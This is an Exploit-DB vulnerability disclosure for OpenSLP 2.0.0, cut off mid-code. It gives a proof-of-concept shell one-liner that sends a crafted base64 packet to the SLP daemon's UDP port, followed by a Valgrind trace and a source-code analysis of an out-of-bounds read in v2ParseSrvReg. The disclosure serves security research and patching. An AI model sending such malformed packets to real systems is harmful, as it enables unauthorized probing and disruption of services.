Exploit-DB #45804
Description: OpenSLP 2.0.0 - Multiple Vulnerabilities
Type: local
Platform: linux
Date: 2018-11-07
Author: Magnus Klaaborg Stubman

Exploit:

     _                        _     
    / |   ___ ___ ___ ___ ___| |___ 
 _ / /   | . | . | -_|   |_ -| | . |
|_|_/    |___|  _|___|_|_|___|_|  _|
             |_|               |_|  

2018-11-07

MORE BUGS IN OPENSLP-2.0.0
==========================

I discovered some bugs in openslp-2.0.0 back in January, 2018. 
One of them I disclosed in June (dumpco.re/blog/openslp-2.0.0-double-free),
and today I'm disclosing two more.


BUG 1
=====

This issue is an OOB read that does not crash the application.
So in terms of exploitation it is not very interesting. If that's what
you're here for then scroll down to bug#2.
After the occurence of the bug the application actually detects the error
and ignores the malicious packet. Therefore, it could be argued that this
is not a bug at all. Nevertheless, here it is:

Proof of concept exploit:

  echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d > /dev/udp/127.0.0.1/427

Valgrind report:

  ==27968== Invalid read of size 1
  ==27968== at 0x412436: GetUINT16 (slp_message.c:63)
  ==27968== by 0x4159C7: v2ParseSrvReg (slp_v2message.c:327)
  ==27968== by 0x4159C7: SLPv2MessageParseBuffer (slp_v2message.c:1005)
  ==27968== by 0x40BF4A: SLPDProcessMessage (slpd_process.c:1393)
  ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95)
  ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420)
  ==27968== by 0x40256B: main (slpd_main.c:699)
  ==27968== Address 0x5b5c3f1 is 0 bytes after a block of size 81 alloc'd
  ==27968== at 0x4C28C20: malloc (vg_replace_malloc.c:296)
  ==27968== by 0x40FC1C: SLPBufferAlloc (slp_buffer.c:67)
  ==27968== by 0x40FCBA: SLPBufferDup (slp_buffer.c:139)
  ==27968== by 0x40BF7F: SLPDProcessMessage (slpd_process.c:1383)
  ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95)
  ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420)
  ==27968== by 0x40256B: main (slpd_main.c:699)

Analysis:

v2ParseSrvReg is responsible for parsing incoming requests. Various bytes
are read from the packet and interpreted as integers used as length fields.
One of them is the scopelistlen, parsed on line 321, and further used as
argument for the amount of bytes to increment the buffer->curpos pointer
in the the GetStrPtr function, shown below on line 112. It now points to
uninitialized memory.

The OOB read occurs in GetUINT16, called on line 327 where the buffer->curpos 
pointer is dereferenced.

Subsequently the comparison on line 329 evaluates to true since the
buffer->curpos now points to memory located after the buffer->end
pointer. The application therefore stops processing the malicious packet.

  291 static int v2ParseSrvReg(SLPBuffer buffer, SLPSrvReg * srvreg)
  292 {
  293    int result;
  294
  295 /*  0                   1                   2                   3
  296     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  297    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  298    |                          <URL-Entry>                          \
  299    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  300    | length of service type string |        <service-type>         \
  301    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  302    |     length of <scope-list>    |         <scope-list>          \
  303    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  304    |  length of attr-list string   |          <attr-list>          \
  305    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  306    |# of AttrAuths |(if present) Attribute Authentication Blocks...\
  307    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */
  308
  309    /* Parse the <URL-Entry>. */
  310    result = v2ParseUrlEntry(buffer, &srvreg->urlentry);
  311    if (result != 0)
  312       return result;
  313
  314    /* Parse the <service-type> string. */
  315    srvreg->srvtypelen = GetUINT16(&buffer->curpos);
  316    srvreg->srvtype = GetStrPtr(&buffer->curpos, srvreg->srvtypelen);
  317    if (buffer->curpos > buffer->end)
  318       return SLP_ERROR_PARSE_ERROR;
  319
  320    /* Parse the <scope-list> string. */
  321    srvreg->scopelistlen = GetUINT16(&buffer->curpos);
  322    srvreg->scopelist = GetStrPtr(&buffer->curpos, srvreg->scopelistlen);
  323    if (buffer->curpos > buffer->end)
  324       return SLP_ERROR_PARSE_ERROR;
  325
  326    /* Parse the <attr-list> string. */
  327    srvreg->attrlistlen = GetUINT16(&buffer->curpos);
  328    srvreg->attrlist = GetStrPtr(&buffer->curpos, srvreg->attrlistlen);
  329    if (buffer->curpos > buffer->end)
  330       return SLP_ERROR_PARSE_ERROR;
 
   54 /** Extract a 16-bit big-endian buffer value into a native 16-bit word.
   55  *
   56  * @param[in,out] cpp - The address of a pointer from which to extract.
   57  *
   58  * @return A 16-bit unsigned value in native format; the buffer pointer
   59  *    is moved ahead by 2 bytes on return.
   60  */
   61 uint16_t GetUINT16(uint8_t ** cpp)
   62 {
   63    uint16_t rv = AS_UINT16(*cpp);
   64    *cpp += 2;
   65    return rv;
   66 }
  ...
   96 /** Extract a string buffer address into a character pointer.
   97  *
   98  * Note that this routine doesn't actually copy the string. It only casts
   99  * the buffer pointer to a character pointer and moves the value at @p cpp
  100  * ahead by @p len bytes.
  101  *
  102  * @param[in,out] cpp - The address of a pointer from which to extract.
  103  * @param[in] len - The length of the string to extract.
  104  *
  105  * @return A pointer to the first character at the address pointed to by
  106  *    @p cppstring pointer; the buffer pointer is moved ahead by @p len bytes
  107  *    on return.
  108  */
  109 char * GetStrPtr(uint8_t ** cpp, size_t len)
  110 {
  111    char * sp = (char